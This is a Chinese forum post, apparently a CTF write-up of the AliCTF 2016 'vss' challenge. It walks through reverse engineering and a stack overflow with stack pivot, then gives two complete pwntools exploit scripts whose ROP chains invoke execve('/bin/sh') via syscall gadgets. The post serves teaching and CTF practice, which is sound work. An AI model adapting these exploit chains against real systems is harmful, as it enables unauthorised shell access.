首页
社区
课程
招聘
[原创][分享]Pwn从入门到放弃(二)
2019-12-28 22:15 8050

[原创][分享]Pwn从入门到放弃(二)

2019-12-28 22:15
8050

0x01 栈溢出利用

0x02 基本的ROP利用

0x03 题目二:

该题目是AliCTF 2016中一道题,vss

  • 第一步:
    checksec看一下该程序开了哪些保护:

    图片描述

同样也是64位小端,只开启了RELOR和NX两项保护。

  • 第二步:
    运行该程序看看:

    图片描述

让输入一段password,随便输入了几个字母,没有任何正确和错误的提示

 

*第三步:
用gdb调试看看:

 

图片描述

 

发现崩溃在了0x401124处,movzx eax,BYTE PTR [rbp+rax*1-0x40],但似乎无法计算溢出位置。

  • 第四步:
    将该程序丢到IDA看一下:

    图片描述

发现函数无法识别,应该是使用了strip将符号信息做了剔除。程序定位在了start处。

知识点1:strip,简单的说就是给文件脱掉外衣,具体就是从特定文件中剥掉一些符号信息和调试信息,使文件变小。

  • 第五步:
    寻找main函数入口,这里有两种方法,一种是通过经验判断,在start末尾处的call,应该是libc_start_main函数,而其上方处offset sub_4011B1应该就是main函数了。另一种是,直接shift+F12通过字符串查找“password”,找到main函数。
    图片描述

  • 第六步:
    进入main函数后,F5查看伪代码:
    图片描述

其中sub_473EA0应为read函数,猜测应该是用于读取password的输入。

 

在进入sub_40108E函数时,发现了对于读取输入值后的逻辑判断:

 

图片描述

 

如果是以“py”开头,则直接返回,后面的循环判断看的懵,没办法,C/C++功底太差,@_@

 

图片描述

 

另外,在40108E函数中看到疑似strncpy的函数。

知识点2:strncpy函数是将输入内容的指定长度字符串复制给一个字符串数组中,代码举例:

#include<stdio.h>
#include<string.h>
int main(){
    char name [] = {"Chinanet"},destin[20]={};
    strncpy(destin,name,3);
    printf("%s\n",destin);
}

打印输出的结果为"Chi"。
  • 第七步:
    动态调试看看吧,因为我使用的是linux的虚拟机,因此需要使用IDA来远程动态调试。

    图片描述

在sub437EA0和sub40108E处下个断,输入70个"A"和10个"1",然后动态跟一下栈状态:

 

输入70个"A"和10个"1"时的,栈帧状态:

 

 

当进入sub40108E后,完成strncpy后的栈帧状态:

 

 

发现RBP和返回地址已被覆盖,因此可以得知73~80个字符可以覆盖返回地址,在完成strcpy后,会将所输入的内容逐个字符与66h进行异或,然后最终报错:

 

 

RBP+RAX的值刚好位于了只读的区域:

 

  • 第八步:
    由于可控可执行的栈空间73~80(8个字节),因此需要利用stack pivot技术将栈顶上移到main栈帧空间中利用(因为main函数申请了400h的空间),然后再构造ropchain:

    图片描述

  • 第九步:
    程序由于没有引入libc.so,因此只能考虑使用程序中的syscall,利用syscall来调用所需的函数。

    图片描述

知识点3:关于syscall的调用方法,可以参看syscall调用表

  • 第十步:
    栈溢出布局思路(自带画图工具凑合画的):

    图片描述

另外,由于需要使用syscall来调用所需函数,因此需要为syscall调用时的参数进行布局,上篇文章已经提过了,关于64位寄存器,依次是rdi、rsi、rdx、rcx、r8、r9,而read和sys_execve都是需要三个参数的,所以我们们要找到类似pop rdi、pop rsi、pop rdx的命令来控制三个参数。

  • 第十一步:
    有两种方法,一种利用ROPgadget直接找到并生成可利用的ROPchain,另一种方法是通过ROPgadget找到一处add rsp xxx(大于0x50),然后布置ROP链。两种EXP代码如下:
python ROPgadget.py --binary ~/Desktop/vss/vss --ropchain

代码一:

from pwn import *
from struct import pack
p = remote('127.0.0.1',4000)
recv_content = p.recvuntil('Password:\n')
p2 = ''
p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; ret
p2 += pack('<Q', 0x00000000006c4080) # @ .data
p2 += pack('<Q', 0x000000000046f208) # pop2 rax ; ret
p2 += '/bin//sh'
p2 += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; ret
p2 += pack('<Q', 0x00000000006c4088) # @ .data + 8
p2 += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p2 += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p2 += pack('<Q', 0x0000000000401823) # pop2 rdi ; ret
p2 += pack('<Q', 0x00000000006c4080) # @ .data
p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; ret
p2 += pack('<Q', 0x00000000006c4088) # @ .data + 8
p2 += pack('<Q', 0x000000000043ae05) # pop2 rdx ; ret
p2 += pack('<Q', 0x00000000006c4088) # @ .data + 8
p2 += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p2 += pack('<Q', 0x000000000045f2a5) # syscall ; ret
payload1 = 'py' + 'A' * (0x4e - 0x8) + p64(0x000000000044892a) + 'A' * (0xd0 - 0x50) + p2
p.sendline(payload1)
p.interactive()

代码二:

#!/usr/bin/python
#coding:utf-8
from pwn import *

io=process('./vss')
payload = ""
payload += 'py'                     #头两位为py,过检测
# payload += p64(0x6161616161617970)   
payload += 'a'*0x46                 #padding
payload += p64(0x46f205)            #add esp, 0x58; ret
payload += 'a'*8                    #padding
payload += p64(0x43ae29)            #pop rdx; pop rsi; ret 为sys_read设置参数
payload += p64(0x8)                 #rdx = 8
payload += p64(0x6c7079)            #rsi = 0x6c7079,可用的bss段,用于存放'/bin/sh'
payload += p64(0x401823)            #pop rdi; ret 为sys_read设置参数
payload += p64(0x0)                 #rdi = 0
payload += p64(0x437ea9)            #mov rax, 0; syscall 调用sys_read 
payload += p64(0x46f208)            #pop rax; ret 
payload += p64(59)                  #rax = 0x3b
payload += p64(0x43ae29)            #pop rdx; pop rsi; ret 为sys_execve设置参数
payload += p64(0x0)                 #rdx = 0
payload += p64(0x0)                 #rsi = 0
payload += p64(0x401823)            #pop rdi; ret 为sys_execve设置参数
payload += p64(0x6c7079)            #rdi = 0x6c7079
payload += p64(0x437eae)            #syscall

print io.recv()
io.send(payload)
sleep(0.1)  #等待程序执行,防止出错

io.send('/bin/sh\x00')
io.interactive()

图片描述

 

参考:
https://bbs.ichunqiu.com/thread-42534-1-1.html
https://www.cnblogs.com/ichunqiu/p/11238429.html
https://www.jianshu.com/p/157ab3347baa
https://blog.csdn.net/Breeze_CAT/article/details/95272143


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-1-2 17:14 被bugchong编辑 ,原因:
上传的附件:
  • vss (793.28kb,33次下载)
收藏
点赞4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回